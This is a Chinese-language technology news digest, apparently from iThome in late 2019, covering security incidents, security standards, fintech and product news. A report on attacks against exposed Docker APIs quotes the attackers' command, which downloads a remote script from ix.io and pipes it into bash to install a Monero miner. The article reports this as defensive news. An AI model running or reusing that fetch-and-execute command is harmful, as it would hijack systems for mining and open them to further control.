新的日誌瀏覽器能讓用戶以結構化的方式查看日誌，提供多種過濾器、串流以及時區轉換等功能，並且提供日誌組織圖，用戶可以在Visual Studio Code中過濾和搜尋日誌，Google也預告，日誌瀏覽器將會支援kubectl日誌。

而日誌瀏覽器也特別為Kubernetes日誌設計，Google提到，Kubernetes的日誌很複雜，但是用戶能夠利用命名空間、部署、Pod、容器和關鍵字，查看像是特定Pod的日誌或是特定部署中的所有日誌。

1121-1127 一定要看的資安新聞

＃網站攻擊  ＃加密貨幣

門羅幣官網遭植入惡意程式，用戶加密貨幣錢包被清空

加密貨幣門羅幣（Monero）近日傳出官方網站被駭，攻擊者置換網站上提供的命令列介面（CLI）版應用程式，將其加入可竊取用戶加密貨幣的惡意軟體。有用戶表示，在執行冒牌應用程式數小時後，錢包裏有價值7,000美元的門羅幣被偷光。

該組織呼籲，在臺灣時間11月18日早上10時30分，到隔日凌晨0時30分之間，於官方網站下載應用程式的用戶，應先檢查檔案的雜湊值，一旦比對不符就要重新下載。假如用戶已經執行可能含有惡意軟體的電子錢包應用程式，要將開啟過的電子錢包裡面的加密貨幣，儘速移轉到別處。詳全文

圖片來源：Monero

＃漏洞攻擊

Android手機驚傳漏洞，駭客可遠端拍照、攝影，甚至是找到受害者的地理位置

安全廠商Checkmarx指出，他們在Google Pixel 2 XL和Pixel 3的相機程式裡，發現有權限繞過（Permission Bypass）的安全漏洞，編號CVE-2019-2234。隨後該公司發現，濫用這個漏洞的攻擊手法，也能運用於三星的手機，因此研判所有Android手機都存在相同漏洞。

Checkmarx表示，攻擊者利用上述漏洞，能夠藉由不具權限的應用程式，控制Google相機App；再者，這個漏洞也能讓攻擊者繞過手機的儲存裝置存取政策，直接存取影片和相片，以及相片的GPS中繼資料（Metadata）。綜合這些弱點，駭客不僅可以暗中執行拍照與錄影，並且能把照片和影片傳送到惡意伺服器，然後透過相片裡的EXIF資訊，找出受害者的地理位置。該公司自7月開始通報Google與其他手機廠商，並得到Google和三星證實，Google也修補上述漏洞並提供給所有合作廠商。詳全文

＃漏洞攻擊

臉書修補WhatsApp的遠端程式執行漏洞

臉書旗下的即時通訊軟體WhatsApp再傳漏洞，這個安全性弱點的編號為CVE-2019-11931，攻擊者只要藉由惡意MP4檔案就能觸發，造成服務阻斷或遠端程式執行，這個漏洞同時影響Android與iOS用戶。

該漏洞同時波及多個作業系統上的WhatsApp，涵蓋Android、iOS、Windows Phone，包含個人端與企業版本的應用程式。

臉書向Threatpost透露，該漏洞是由內部工程師自行發現後，已經完成修補，迄今並無任何證據顯示遭到濫用。詳全文

＃漏洞攻擊  ＃開發安全  ＃資安產品安全疑慮

漏洞通報了一年才發出公告！Fortinet坦承多款產品加密金鑰寫死在程式碼

資安產品出現漏洞時有所聞，但如果拖延超過1年才發出修補程式及公告，這段空窗期很有可能讓駭客攔截用戶資料，削弱產品的防護能力。就像Fortinet近期發布產品安全性公告中，就有一項漏洞的處理，是這種狀況。該漏洞是研究人員Stefan Viehböck於2018年5月發現，Fortinet多款產品與雲端服務之間，竟透過寫死在FortiOS作業系統的金鑰，來加密傳輸，導致攻擊者得以竊聽用戶活動，並且操控安全偵測服務。

但直到今年初，該公司才陸續修補，並且到了11月20日發出公告，呼籲用戶儘速更新軟體。

這個漏洞是CVE-2018-9195，存在於FortiOS 6.0.7，以及FortiClient的Windows和macOS版本（6.0.6與6.2.1版）。該公司呼籲用戶要更新FortiOS至6.2.0版，Windows版FortiClient應升級到6.2.0版、macOS版則要升級到6.2.2版。詳全文

圖片來源：Fortinet

＃釣魚郵件攻擊  ＃勒索軟體攻擊

冒牌Windows更新通知信暗藏勒索軟體

如果最近收到署名是微軟寄發的電子郵件，通知你下載Windows更新，要小心有可能是釣魚郵件。安全廠商TrustWave發現最近網路上流傳偽裝Windows更新的信件，使用者一旦不慎開啟附件的JPG圖檔，電腦將感染勒索軟體Cyborg。

值得留意的是，製作這款勒索軟體的作者還提供了開發套件，於GitHub上公開，研究人員認為，這很有可能導致日後衍生大量的Cyborg勒索軟體變種。詳全文

＃釣魚攻擊  ＃側錄攻擊

散布金融木馬新招！駭客在臉書刊登麥當勞優惠廣告

ESET揭露在中南美洲流竄的金融木馬程式Mispadu，並指稱攻擊者不只透過垃圾郵件散布，還在臉書上刊登假的麥當勞優惠廣告，誘導受害者點選，進而在電腦上安裝惡意程式，竊取機密的金融資訊。

前述駭客在臉書刊登的廣告裡，會將受害者引導到惡意網頁下載優惠券，但實際上是下載含有側錄程式的ZIP壓縮檔案。

Mispadu的後門功能包括可截取螢幕畫面、模擬滑鼠，以及鍵盤動作等。此外，這個木馬可以從瀏覽器和電子郵件用戶端軟體上，竊取已儲存的金融憑證，同時能夠監控剪貼簿內容，讓駭客將受害者錢包裡的加密貨幣占為己有。詳全文

圖片來源：WeLiveSecurity

＃資料外洩  ＃公有雲配置不當

公開的Elasticsearch伺服器曝露12億名民眾資料

威脅情報平臺業者Data Viper揭露，Google Cloud有一個公開的Elasticsearch資料庫，存放了12億名用戶的資料，使用者不需密碼或認證，就能直接存取並下載所有資料，堪稱是史上最大宗的資料外洩事件。

這個資料庫總容量為4TB，包含了40億個使用者帳號，Data Viper從中過濾出12億名不重覆的民眾個資。外洩的資料包括姓名、電子郵件、電話號碼、以及LinkedIn與臉書的個人檔案。Data Viper認為，資料庫的內容來自兩家資料補齊（Data Enrichment）公司，名為People Data Labs與OxyData.Io，但這兩家公司得知此事後，都否認該伺服器是他們所有，因此Data Viper推測，這個資料庫的擁有者可能是上述資料補齊公司的客戶。詳全文

＃資安產業動態  ＃隱私疑慮

多家資安業者與非營利組織聯手抵制跟蹤軟體

包括Avira、Kaspersky、G Data、Malwarebytes，以及NortonLifeLock等多家防毒軟體業者，會同電子前線基金會（Electronic Frontier Foundation，EFF）等多個非營利組織，成立了「抵制跟蹤軟體聯盟（Coalition Against Stalkerware）」，認為這類處於灰色地帶的軟體，通常與專制政權或犯罪組織有所關聯，經常被用於非法用途，所以，他們藉此想要提升公眾的意識，對抗濫用跟蹤軟體造成的家庭暴力、監控，以及騷擾。

該聯盟的宗旨，在於改善偵測跟蹤軟體的能力，並喚起大眾的注意，防範。根據統計，從2018年以來，資安業者在手機上所偵測到的跟蹤軟體，安裝數量增加373%。這類的軟體不只會洩露受害者的資料，也會破壞裝置的保護，進而替惡意程式開啟大門，衍生資安風險。然而，有些國家認為跟蹤軟體合法，防毒軟體不能直接將其標註為病毒，只能以提醒的角度，而這也顯示電腦存在相關隱憂。詳全文

更多資安動態

●TrickBot木馬企圖竊取OpenSSH與OpenVPN金鑰
●懸賞百萬美元，Google號召高手找出Pixel手機晶片漏洞
●Firefox 72預設將啟用指紋追蹤保護
●中國手機製造商OnePlus再傳客戶資料外洩
●惡意程式Dexphot以高明手法躲避偵測，8萬臺PC變比特幣挖礦機
●推特將大舉清除閒置帳號

隨著網路攻擊風險威脅不斷，對於臺灣企業和組織而言，導入資安標準來落實資安，已經是管理面不可或缺的一大關鍵。在今年的英國標準協會（BSI）舉辦的國際資安標準年會上，他們揭露了2019年的國際資安現況觀察，以及資安隱私標準的新趨勢。

網路安全與隱私保護成企業永續經營指標之一

近年來，資安對於企業經營的重要性，不言而喻。在這次國際標準年會上，BSI臺灣總經理蒲樹盛指出，資安已成為企業永續經營重要指標，根據道瓊永續指數（DJSI）年度調查，對於資安與隱私保護的更加重視，就可以看出端倪。

道瓊永續指數是什麼？它是個永續經營的投資評比指標，由美國道瓊指數公司與瑞士資產管理公司RobecoSAM合作，每年在全球挑選3,500家企業參加評選，透過經濟、社會、環境這3大面向的問卷評比，檢視企業經營體質，今年臺灣有99家被邀請，最終共有23家企業入選，比去年多了2家。

與往年不同的是，蒲樹盛指出，在今年道瓊永續指數的問卷中，有一半以上的問題，是聚焦在資訊安全與個資隱私，值得企業持續關切。

事實上，這已經是我們第三次聽到蒲樹盛，提到道瓊永續指數與網路安全的關係，在9月我們進行NIST網路安全框架（CSF）報導的專訪，以及以NIST CSF為主題的CyberSec 101研討會上，他都強調了此事的重要性。

對於今年問卷增加網路安全和系統穩定性，以及隱私保護兩個題組。例如，公司對於IT系統故障與資安事件，是否能夠做出適當反應；以及公司在隱私政策的覆蓋範圍，並確保政策上具備有效實施的機制。BSI台灣分公司營運長謝君豪在後續的議程中，也提出說明。他認為，這樣的態勢其實相當合理，因為，若是企業的資安跟隱私保護做得不好，其實也就代表，企業無法善盡自己該做的責任，而這在整體經濟面上，可能會帶來衝擊。

無論如何，對於道瓊永續指數的評比，臺灣企業可視為自我體檢與衡量時的高標準。而從BSI的說明中，我們瞭解到，評比機構對資安管理與隱私保護的重視程度，將變得明確。

對於道瓊永續指數（DJSI）年度調查，BSI指出今年最大的變化，就是在於資安與網路安全和系統穩定性，以及隱私保護兩個題組。（攝影／羅正漢）

ISO/IEC 27001仍是基礎，並可透過NIST CSF強化

在這次大會中，另一個值得關注的焦點，是未來國際資安標準的走向。BSI也趁此機會，說明近期值得關注的各項趨勢，組織若要考量如何提升資安治理時，將可作為參考。

對於在國際網路安全標準的發展趨勢，謝君豪分析了相關現況。他先從世界經濟論壇（WEF）全球風險報告，從當中揭露的資安威脅談起－－網路攻擊的威脅持續處於嚴峻的態勢，在國際三大區域東亞與太平洋、歐洲與北美，網路攻擊都是排在第一或第二。同時，在國際資安標準方面，近年在大數據、區塊鏈、物聯網、醫療裝置、自駕車與網路的安全方面，都出現許多正在制定的標準及指引，像是與大數據安全的ISO/IEC 27045，區塊鏈隱私與PII保護的ISO/DTR 23244，以及物聯網安全與隱私的ISO/IEC 27030等，然而，當中多屬於參考性質，不能驗證。

以現況而言，在網路安全與隱私保護方面，仍是企業主要關注面向。首先，在網路安全的管理優化上，謝君豪鼓勵企業，以ISO/IEC 27001安控措施作為基礎，並可參考NIST網路安全框架的要求，進行整體性優化，從識別、保護、偵測、回應與復原5大面向，做好必要的控管，下一步，再以提升資安治理成熟度為方向。

而在做完NIST CSF之後，下一步，他認為資安保險ISO/IEC 27012的指引，將很有幫助，若企業要透過買保險來降低風險，當中提供了相當多實用的建議，即便產險公司要設計資安保險也能從中參考。不過，謝君豪也指出，資安保險在臺灣受重視程度不足，因為國內企業資安事件發生時，不論在是通報主管機關、告知客戶的落實，以及提供賠償服務方面，都與國外有很大差距。

以ISO 27001而言，它是目前國際公認的資訊安全管理體系，能讓組織建立完整的管理制度，並從風險的角度實施所需的控制措施。對於已經導入像是ISO 27001的組織，能在藉由NIST網路安全框架的控制類別，與成熟度評估的方式，進一步強化網路安全。（攝影／羅正漢）

今年資安標準新焦點是ISO/IEC 27701

關於隱私保護方面，蒲樹盛表示，現在全球132個國家有隱私保護法案，因此幾乎主要國家都有相關法案，以法律遵循的角度來看，企業勢必都要遵守，但是，要用哪一項標準來涵蓋這些法遵事項？今年新推出的ISO/IEC 27701，著重隱私資訊管理，就是焦點。

對於隱私保護標準的導入，謝君豪也具體說明。他指出，BS 10012最新版是最具參考的指標，原因在於，該標準針對蒐集、處理、利用方面，都有完整的保護，最符合GDPR的精神。若是企業覺得不足，他也建議可以參考其他的標準，包括針對資通訊系統隱私權框架保護的ISO/IEC 29100，以及ISO/IEC 27000系列，其中ISO/IEC 27701是重點。

根據謝君豪的說明，ISO/IEC 27701是ISO/IEC 27001，以及ISO/IEC 27002的擴展，並加上ISO/IEC 29100所設計出來的，能對應一些國際標準與指引。他強調，這項標準整合了參考用的內容，以及驗證用的要求，因此可以被驗證。

企業若要快速找出導入ISO/IEC 27701的重點，謝君豪建議，應研究其中的附錄A與附錄B，可作為企業在依循時的關鍵，這裡分別針對PII控制者與處理者，說明特定控制目標及控制措施。

他並說明，如果組織已經導入ISO/IEC 27001，後續再做必要強化時，會比較容易，因此，他分析了若要進一步做ISO/IEC 27701的導入或驗證時，必須關注的重點。例如，在ISO/IEC 27701的5.2與5.4條款中，就針對隱私保護管理有訂定額外要求，將可對應到ISO/IEC 27001的第4與第6條款；而在ISO/IEC 27701的第6.2到第6.13與第6.15條款中，已經有訂定額外的指引建議，可對應到ISO/IEC 27002中的第5到第16與第18條款。

另外，謝君豪也補充兩個建議，是關於導入ISO/IEC 27701時的注意事項，首先他說，若企業沒有BS 10012的基礎，在蒐集、處理、利用這一塊，可能會相對辛苦，其次，他認為如果企業本身ISO/IEC 27001的範圍太小，這時也應認知到一件事，應把認證範圍擴大。

對於國際資安標準在隱私保護的發展，BSI臺灣分公司營運長謝君豪看好BS 10012，因為對於蒐集、處理、利用具有優勢，而今年新的ISO/IEC 27701標準也是重點，結合了參考與驗證要求。（攝影／羅正漢）

呼籲企業進行資安標準驗證時，應符合目的與使用

對於國內企業與組織的資安管理現況，BSI認為，還有不少挑戰需要克服。從他們的觀察中，可以看出不少問題。例如，今年是臺灣資安管理法施行第一年，但蒲樹盛表示，他拜訪客戶時，仍有組織高層不知資安法規定，例如，A級單位要有4個專職資安人力；而知道這件事的單位，卻面臨找不到足夠人力的困難。也因此，資安人才在市場上非常缺乏，所以，他也鼓勵年輕的人朝資安領域精進。

在資安標準的落實方面，謝君豪也不斷強調，資安不是有做就好，這只是最低基本要求，要做到真的符合「目的」與符合「使用」。

例如，企業在導入資安標準並驗證時，有的在第一年會先從研發部門做起，因為他們認為這是公司的命脈，而資訊單位是配合研發，因此要先知道研發的需求，他認為這是很好的觀念。而不該像一些企業是為了驗證而驗證，只以一個機房或小系統為範圍，而拿到證書，就滿足形式上的要求。

其實，上述的問題已經持續了許多年。為何仍無法改善？謝君豪表示，現在臺灣企業時常是直接決定，只驗資訊系統或核心系統，但其實這已經落入畫地自限的狀況，因此，他提出建議，企業應從了解所面臨的內外部議題，來訂定適切的推動範圍，他並強調，「實施範圍」不一定要等同於「驗證範圍」，接下來，並透過風險評鑑，來訂定強化方向及優先順序。

謝君豪指出，知道風險在哪裡很重要，像是企業必須思考，自身在2020年的前十大資安風險為何？他認為，企業要製作出自己的風險地圖，透過國際的標準，或是適切的方法論，至少將企業最關鍵的10個風險鑑別出來，並透過圖表呈現各風險嚴重性，讓老闆能一看就懂，才能有效推動，從策略、管理與技術等多個層面並進，以有效管控風險。

2016年被DeepMind的AIphaGo AI打敗的南韓圍棋棋王李世乭於上周引退，本周接受媒體訪問時說，見識到無法被擊敗的AI促使他有了退休念頭。

南韓圍棋棋王李世乭接受韓聯社訪問時指出，當AI開始在圍棋賽登場後，他就知道即使他經過一番苦戰成為人類第一，他也不是世界最頂尖。即使他成了人類冠軍，還是有一個東西是無法被擊敗的。

2016年李世乭和Alphabet旗下英國公司DeepMind設計的AlphaGo，進行5天的對奕引起全球矚目。AlphaGo最後以4勝1敗打敗了李世乭。李世乭在賽後也坦言AI系統的表現出乎他意料之外。但作為南韓媒體口中唯一打敗過AI的人類，DeepMind團隊仍然推崇他為這個世代最偉大的圍棋棋王。

這場比賽不但打響了DeepMind和AlphaGo的名號，也讓世人見識新型態人工智慧系統。AlphaGo集結現有棋譜訓練成為天下第一。一年後AlphaGo再以3:0的戰績打敗中國圍棋棋王柯潔。同時DeepMind宣佈AlphaGo「退休」不再與人類對奕。不過就在5個月後，就被DeepMind研發更進階的AlphaGo Zero打敗。

現年36歲的李世乭上周向韓國圍棋協會遞交了退休信，結束24年的職業圍棋生涯。

不過李世乭並未放棄人腦圍棋對戰。他將在今年12月出戰南韓AI系統Handol作為退休紀念慶祝。在此之前，南韓版AlphaGo已經打敗過5位高手。

在年底的比賽中Handol將讓李世乭2子。這位人類冠軍預期首戰可能會輸，不過他說，既然已經退休，他想打得自在一點，但他仍會全力以赴。

1123-1129

 純網銀   EQ Bank   Cloud   銀行核心系統 
加拿大純網銀EQ Bank宣布把銀行核心系統搬上雲端
加拿大首家純網銀EQ Bank在11月21日宣布，已將整個銀行核心系統搬上雲端，此舉也使EQ Bank成為加拿大第一家完全採用公有雲架構託管的銀行。EQ Bank現在將利用Azure作為其提供金融服務的的雲端平臺。2016年成立的EQ Bank，是由加拿大第九大獨立銀行Equitable Bank旗下子公司，成立3年時間，客戶存款已超過了25億加元。

EQ Bank表示，這將建立更好的金融顧客體驗，包括將降低間接成本，並把節省下來的成本回饋給顧客；二是基於Temenos T24 Transact創造更加敏捷的系統，EQ Bank提到，Temenos T24 Transact是下一代銀行核心系統，可以更快速地升級產品和服務；三是為下一個銀行創新，準備好系統；第四點則是藉公有雲來強化EQ Bank的資安基礎。

Equitable Bank資深副總裁暨資訊長Dan Dickinson表示，把EQ Bank銀行核心系統遷移到雲上，是一個產業領先變革，朝向金融服務新未來邁進。Equitable Bank總裁暨執行長更提到，EQ Bank會建立數位基礎設施，不只要為客戶提供先進的數位體驗，更要為Open Banking做好準備。

 金管會檢查局   監理科技   RegTech 
金管會檢查局導入API，2020年1月將上線自動排程申報機制

為了因應金融科技的快速發展，金管會也得與時俱進，建置數位監理環境。金管會主委顧立雄表示，在檢查作業電子化部分，金管會要優化現行單一申報系統，2020年起將導入API，自動排程申報，減少人工申報錯誤發生。以及建置檢查放表功能，上傳檢查所需資料，記錄作業軌跡。還要建立數位化查核程序，自動化檢核產出案件明細。

金管會檢查局副局長張子浩補充，今年9月已與幾家金融業者進行測試，目前採取鼓勵金融業者內部建立系統，能以API與金管會介接，進行自動申報。張子浩表示，檢查局預計2020年1月1日開始，上線自動排程申報機制，並將與現行單一申報機制雙軌進行。

此外，金管會也要研擬純網銀監理系統規畫及建置方案，對純網銀業者的重要性指標與流動性風險的即時監控。未來，計畫逐步導入票券業者、銀行，甚至是保險，都能做到即時監控，金管會也為此成立監理科技專案小組，共同研議監理科技。

 視障者轉帳   無障礙網銀   行動銀行App 
金管會要擴大無障礙網銀與行動銀行服務，明年6月全面開通轉帳功能
為了提升視障者使用金融服務的便利性，金管會主委顧立雄在11月22日宣布，將推動銀行無障礙網路銀行與行動銀行App，全面提供約定與非約定轉帳功能，目標2020年6月底前，全臺37家銀行要上線運作。經金管會清查，目前37家本國銀行(含中華郵政)無障礙網路銀行中，已有36家有查詢服務功能，34家有約定轉帳功能，有3家有非約定轉帳功能。但是，行動銀行App部分，沒有一家銀行有提供視障者相關轉帳功能。

為加速無障礙友善環境建構，顧立雄表示，已與所有銀行達成共識，以明年6月底前上線為目標，各銀行的無障礙網路銀行與行動銀行App，全面提供約定與非約定轉帳功能，且轉帳限額與各該銀行一般網路銀行及行動銀行App限額一致。金管會要求，在功能上線前，希望銀行能邀集視障者或團體測試，確保符合身心障礙人士的需求。

 玉山銀行   Pi拍錢包   信貸   電商 
玉山銀行攜手Pi拍錢包推信貸服務，把融資金融嵌入電商新零售場景

為了打造無斷點的金融服務，玉山銀行合作Pi拍錢包，推出信用貸款服務「拍享貸」，藉由API串接的方式，將玉山銀的數位貸款服務，嵌入在行動支付Pi拍錢包App中，讓顧客登入後即可檢視客製化的貸款額度、利率與費用方案，顧客同意提出申請後，除了可在線上追蹤申辦進度，完成對保後，在營業時間內最快2小時可取得資金。玉山銀行表示，此服務可即時滿足顧客緊急資金週轉的需求，並縮減線上申貸所需時間。而這也是玉山將融資金融，嵌入電商新零售場景中的作法。

 華南銀行   AI行動銀行 
AI語音助理技術加持，華南行動銀行App用說的就能查、轉帳

華南銀行和IBM合作推出AI行動銀行，讓華南銀行用戶只要用說的，就能查詢匯率、存款餘額，甚至是轉帳匯款。華南AI行動銀行具備三大功能：AI全功能導航、支援全面聲控輸入、多輪對談。例如華南AI行動銀行具備超過100項功能，用戶不需思考層層功能路徑，只要說出想要尋找的服務，內建的小n機器人就會自動找到該服務。

小n機器人的背後主要運用了IBM Watson的AI語意理解技術，且可支援多輪對話應答。華南在AI行動銀行中，特別針對用戶經常會用到的帳務查詢、轉帳、明細查詢做到多輪對談。不過，目前多輪對談僅限於使用單一服務，例如轉帳或查詢帳務，小n機器人尚無法理解複雜的請求，像是「幫我查詢帳戶內的存款金額，再轉帳給爸爸100元」這類摻雜兩種行動的語句。

華南銀行指出，相較於其他同業推出的語音轉帳是以「關鍵字」，需要精準的辨識搜尋，否則會出現牛頭不對馬嘴的情形，小n採用AI語意理解，以瞭解使用者的意圖，不需依靠特殊的語音指令，提供創新的行動銀行服務體驗。

 企業區塊鏈   KYC   金融   勤業眾信 
勤業眾信：企業區塊鏈市場逐漸成熟，金融應用型態開始多元
勤業眾信亞太區塊鏈實驗室經理Kelvin Wong，在一場活動上分享區塊鏈最新應用趨勢。他認為，現在的區塊鏈市場更加成熟，已有越來越多企業導入相關應用。比如，勤業眾信輔導一個香港區塊鏈應用是香港金管局，這個機構在去年底推出了「貿易聯動」（eTradeConnect）的服務，這是香港銀行業中，第一個應用區塊鏈技術的大型金融資訊共享平臺，截至去年底就已經有12間銀行參與，來解決傳統貿易融資借貸的弊病。

此外，他還提到，金融業區塊鏈也能應用在客戶到銀行開戶時，透過客戶過去在其他銀行的KYC資訊，分享給現正申請的銀行來認證，加快銀行進行信用評估的時間。也就是說，客戶要向銀行B申請開戶，可以向開戶過的銀行A發送請求，運用個資與銀行帳戶資料來構成KYC，銀行將會在區塊鏈帳本中找到該筆資料的雜湊值並回傳給客戶。

 Paypal   購物優惠平臺Honey 
支付巨頭搶進EC，PayPal以40億美元買下購物優惠平臺Honey
PayPal宣布將斥資近40億美元收購用戶近2,000萬的購物優惠券平臺Honey的母公司Honey Science。PayPal表示，本交易將可提升PayPal消費用戶的購物經驗，同時擴大店家的銷售額及客戶互動。這樁交易也是PayPal迄今最大宗收購案，預計2020年第一季完成。PayPal全球消費產品暨科技資深副總裁John Kunze指出，Honey的產品與優惠券搜尋、價格追蹤、客戶忠誠方案將整合到PayPal和Venmo服務中。

圖片來源：攝影／洪政偉、李靜宜、蘇文彬
責任編輯／李靜宜
 金融科技近期新聞 
1.  街口電子支付因辦理業務與資訊作業有4大內控缺失，遭金管會罰180萬元，創下電支業者裁罰首例
2.  推出3年不到5％客戶使用，荷蘭銀行將關閉自家Wallet App服務
3.  國發會主委陳美伶喊出，臺灣行動支付消費金額年底前要破1千億
4.  Monero官網遭植入惡意程式，用戶加密貨幣錢包被清光
資料來源：iThome整理，2019年11月。

Google本周宣佈將在下星期針對數款Android 8.1版之後版本，釋出環境模式（Ambient Mode）功能，可讓手機在充電時成為Google Assistant顯示訊息的智慧螢幕。

Google是在今年9月IFA 2019消費電子大展預覽這項功能。

Google Assistant行動平台產品經理Arvind Chandrababu指出，Google Assistant的目的是幫助用戶做事及獲取資訊更有效率、更輕鬆，重點是從app為基礎的控制模式轉變成「意圖」為基礎，即透過口說指令馬上做到要做的事。另一方面，現在人生活所有事都和手機密不可分，但在手機上查找資訊或來回點選app十分不方便。在環境模式下，當將Android手機或平板插上電源充電時就會啟動，變成智慧螢幕（Smart Display）或有螢幕的Google Home，使用者只要點一下即可設定鬧鐘、顯示隔日行程、控制連網電燈泡，此外還可當成數位相框或音樂控制介面。

下周起環境模式就會開始部署到執行Andriod O 8.0以上Sony Xperia、 Nokia、 深圳傳音（Transsion）、小米手機，及數款Lenovo平板。根據Google之前宣佈，首批產品至少包括聯想Smart Tab M8 HD、Yoga Smart Tab，以及Nokia 7.2和6.2。

Google並指出，基於Android開放性，可以打造成不同硬體裝置，也可以將所有服務透過環境模式全部整合到單一台手機上。Google說，環境模式是Google提供「主動式」體驗（proactive experience）的第一步，未來該公司也會持續推出將Google Assistant推向行動裝置的主動式體驗功能。

隨著愈來愈多關鍵應用搬上Docker，也成為駭客下手的目標。安全廠商發現駭客近日正在網路上掃瞄曝露出的API，意圖植入挖礦程式利用受害者系統資源謀利，還會關閉系統的防護機制或留下後門。

Bad Packets偵測到從本周日（11月24日）午夜起，出現針對Docker系統的罕見大量掃瞄網路活動，利用掃瞄工具Zmap掃瞄TCP port 2375、2376、2377、4243。這波流量疑似是駭客攻擊前的偵察性掃瞄。

ZDNet引述Bad Packets公司研究長Troy Mursch報導，目前駭客一共掃瞄了高達近5.9萬個IP網路來尋找曝露的Docker執行個體。一旦找到受害系統的API，攻擊者就會利用API端點啟用Alpine Linux容器，並執行指令「chroot /mnt /bin/sh -c 'curl -sL4 http://ix.io/1XQa  | bash」。此一指令可用於下載、執行Bash script，目的在安裝Monero挖礦程式XMRig。而在觀察到這波流量後2天，駭客已經挖到價值740美元的Monero幣。

安全公司另外還發現，駭客還會透過一台遠端伺服器下載script到受害Docker系統上，企圖關閉已知的防火牆及其他安全防護、刪除別的挖礦殭屍網路的程式行程，且掃瞄、加密受害主機上的rConfig設定檔，將之傳到駭客的C&C伺服器。另一家安全業者SandflySecurity 分析則顯示它還會留下後門帳號、SSH金鑰，以及變更主機設定，以便未來更方便控制及存取主機。

安全公司建議用戶儘速關閉Docker API傳輸埠，並刪除掉所有不認識的容器。

Twitter於日前宣布，將在12月11日永久撤銷那些已經超過半年沒登入的帳號，結果有用戶表達，有些帳號是屬於已故親人，引起廣大的迴響，讓Twitter改變心意，決定暫緩此一決定。

Twitter表示，沒有考量到已故用戶是他們的錯，在建立一個可以紀念已故用戶的方式之前，不會刪除任何閒置帳號。

其實Twitter原本就有撤銷閒置帳號的政策，只是一直未強制執行，這次決定採取行動則是為了遵循歐盟的GDPR隱私政策，而且會先從歐洲市場啟動，再延伸到其它區域，沒料到引起風波。

現在Twitter坦承他們的確欠缺考慮，將從善如流，著手訂定紀念帳號服務，以安撫這些焦急的親友。

臉書（Facebook）也有紀念帳號服務，讓該站用戶能夠悼念及緬懷已故者，已故者的帳號依然存在，只是個人檔案上會出現「緬懷」二字，將根據該帳號原本的隱私設定，允許親友持續在動態時報上張貼緬懷之情。

有眼尖的使用者發現，微軟已經著手把Outlook.com變成PWA了，現在舉凡是使用Chrome瀏覽器、Brave瀏覽器或是Canary版Edge瀏覽器的Outlook.com用戶，都可在網址列的右邊看到一個安裝應用程式的通知。

PWA的全名為漸進式網路應用程式（Progressive Web Apps），它以類似傳統應用程式的方式呈現，有快取與通知功能，但比應用程式清爽，本質上還是個網站。Google在2017年就宣布將以PWA取代Chrome app，微軟則是從去年才開始採用PWA。

在安裝了PWA版本的Outlook.com之後，它就會自動產生一個應用程式的圖示，點選後則是透過瀏覽器開啟，介面便如同Outlook.com，有點像是Outlook.com的快捷功能，相容於支援PWA的Windows、macOS及Chrome OS等平台。

與建立一個完整的桌面應用程式相較，打造PWA使用更少的資源，也更容易建置，外界推測它未來可能成為主流的程式型態。

位於美國內布拉斯加州的綜合醫院Great Plains Health周一（11/25）遭到勒索軟體攻擊，由於當地正逢天候不穩，在屋漏偏逢連夜雨的狀況下，Great Plains Health取消了許多非緊急的門診及手術，同時展開復原程序。

Great Plains Health透過臉書的官方粉絲頁表示，該院將照常服務病患，只是有些門診與手術，因為氣候或是系統當掉而必須延後，現在正與執法機關合作展開調查。

根據該院所發布的聲明，當他們周一晚間在院內網路發現勒索軟體之際，即連夜展開救援，確信病患資訊並未外洩。不過，勒索軟體加密了院內的系統檔案，使得員工無法存取部份網路，有些時候也影響院方護理病患的能力。

Great Plains Health強調，他們不斷在對抗網路攻擊，且這類的攻擊並非區域性的，而是全美都有，光是今年美國就有140起有關地方政府或醫療機構遭到勒索軟體攻擊的案例。美國110家療養院的IT服務供應商Virtual Care Provider也在本月中旬被勒索軟體襲擊，還說他們付不起駭客所要求的1,400萬美元贖金。

 相關報導  臺灣醫療院所如何因應勒索軟體攻擊